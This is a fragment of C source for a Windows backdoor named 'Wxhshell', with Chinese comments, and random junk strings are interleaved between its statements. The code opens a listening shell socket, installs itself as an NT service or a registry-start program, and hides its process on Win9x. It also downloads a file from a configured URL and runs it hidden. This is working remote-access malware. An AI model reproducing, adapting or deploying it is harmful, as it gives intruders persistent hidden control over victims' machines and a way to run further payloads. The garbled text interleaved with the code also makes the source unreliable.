CvN~ unsigned long cbNeeded; ?HY0@XILI dQ[lXV[}v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *u}):8=&R ^4"_I CloseHandle(hProcess); uOQ5.S+ ]^y}}y if(strstr(procName,"services")) return 1; // 以服务启动 &BgaFx** 7@F B^[H:y return 0; // 注册表启动 Ogb_WO;) } 9O"?T7i"# J{y@ O // 主模块 T*IudxW int StartWxhshell(LPSTR lpCmdLine) P(`IY+ { JI&>w-~D SOCKET wsl; Fv9Z'#t BOOL val=TRUE; }5k"aCno int port=0; $sJn:
8z struct sockaddr_in door; { at;
U@o /y 0 )r.R if(wscfg.ws_autoins) Install(); fp7Qb $-A [>-k(D5D port=atoi(lpCmdLine); 89paR[ 4v>V7T. if(port<=0) port=wscfg.ws_port; =BtEduz ew(6;}+^/ WSADATA data; F!xK#~e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J: LSGj;R i"'k|TGW^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^6*? a9jO> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CqoL5qt door.sin_family = AF_INET; PT;$@q8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); EY>A(
door.sin_port = htons(port); '.=Z2O3p g=pDC+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Yh8r1^2tZ closesocket(wsl); %Y@3)
return 1; *%O1d., } _5zR!|\^ -K
jCPc if(listen(wsl,2) == INVALID_SOCKET) { *M"wH_cd closesocket(wsl); rnr7t \a~] return 1; [D t`@Dm } ctZW7 Wxhshell(wsl); hCmOSDym WSACleanup(); qb_V
,b9 d>%_<pw return 0; vl#/8]0! )L{\k$r!EM } C?O{l%0 E8xXr>j># // 以NT服务方式启动 NB^.$39n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J=$v+8&. { sJr$[? DWORD status = 0; C>+UZ DWORD specificError = 0xfffffff; iJYr?3nw; {\V)bizY; serviceStatus.dwServiceType = SERVICE_WIN32; DirWe serviceStatus.dwCurrentState = SERVICE_START_PENDING; t3M/ThIE serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,Xn%-OT serviceStatus.dwWin32ExitCode = 0; ESO(~X+ serviceStatus.dwServiceSpecificExitCode = 0; IQM!dC serviceStatus.dwCheckPoint = 0; Cxh9rUe. serviceStatus.dwWaitHint = 0; MwuH.# Ez HV sIbQS hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +LUL-d if (hServiceStatusHandle==0) return; 6?_Uow} 0`x<sjG\q status = GetLastError(); ecHy. 7H if (status!=NO_ERROR) ?eu=0|d { )S%mKdOm
$ serviceStatus.dwCurrentState = SERVICE_STOPPED; t`LH\]6@ serviceStatus.dwCheckPoint = 0; xWD wg@ P serviceStatus.dwWaitHint = 0; ?*T`a oB serviceStatus.dwWin32ExitCode = status; +z4NxR
serviceStatus.dwServiceSpecificExitCode = specificError; EU+sTe > SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}!,4,]:& return; cq 0jM;@d } ]8mBFr5E9 %:??QD* serviceStatus.dwCurrentState = SERVICE_RUNNING; ENGw < serviceStatus.dwCheckPoint = 0; j'7FTVmJ serviceStatus.dwWaitHint = 0; V=YK3){>A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PY^Yx$t9 } &pCKz[Yf+ $Ec;w~e // 处理NT服务事件,比如:启动、停止 dWp4|r VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Dpmp| { Rn}+l[]jC switch(fdwControl) 9Kqr9U--v { Fc=8Qt^ case SERVICE_CONTROL_STOP: v7ae^iU serviceStatus.dwWin32ExitCode = 0; #&@&BlIe serviceStatus.dwCurrentState = SERVICE_STOPPED; 5'o.v^l serviceStatus.dwCheckPoint = 0; OxD\e5r serviceStatus.dwWaitHint = 0; !PO(Bfd { S"Efp/- SetServiceStatus(hServiceStatusHandle, &serviceStatus); hP7nt } <q!{<(: return; >uQ!B/C! case SERVICE_CONTROL_PAUSE: 9u:MF0:W serviceStatus.dwCurrentState = SERVICE_PAUSED; z` sH break; 74KFsir@ case SERVICE_CONTROL_CONTINUE: )X@(>b{ serviceStatus.dwCurrentState = SERVICE_RUNNING; BFMM6-Ve break;
VC.r case SERVICE_CONTROL_INTERROGATE: E J 9A
4B break; v!x=fjr< }; o$Jk27 SetServiceStatus(hServiceStatusHandle, &serviceStatus); /O8'8 sL5 } uU<Yf5 {!-w|&bF // 标准应用程序主函数 6Fm.^9@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >6aCBS?2 { 9/nL3 U@i1 P[Qr[74) // 获取操作系统版本 9
Iw+g]`y* OsIsNt=GetOsVer(); :!3P4?a GetModuleFileName(NULL,ExeFile,MAX_PATH); L\b$1U!i 9_HEImk // 从命令行安装 7ed*dXY* if(strpbrk(lpCmdLine,"iI")) Install(); =B;)h MHgS5b2 // 下载执行文件 >`6^1j(3 if(wscfg.ws_downexe) { g'mkhF( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v+\E%H WinExec(wscfg.ws_filenam,SW_HIDE); 7$^V_{ej } d 5Il0sG ?"L>jr( if(!OsIsNt) { wPV`j:?' // 如果时win9x,隐藏进程并且设置为注册表启动 R+^/(Ws'< HideProc(); D$j`+` StartWxhshell(lpCmdLine); -8EdTc@ } %D&FnTa else #Uudx~b if(StartFromService()) l]%|w]i\ // 以服务方式启动 //WgK{Mt StartServiceCtrlDispatcher(DispatchTable); | o+vpy else mhcJ0\@_ // 普通方式启动 eqLETo@} * StartWxhshell(lpCmdLine); KKOu":b
GM@TWwG-B return 0; R,y8~D }
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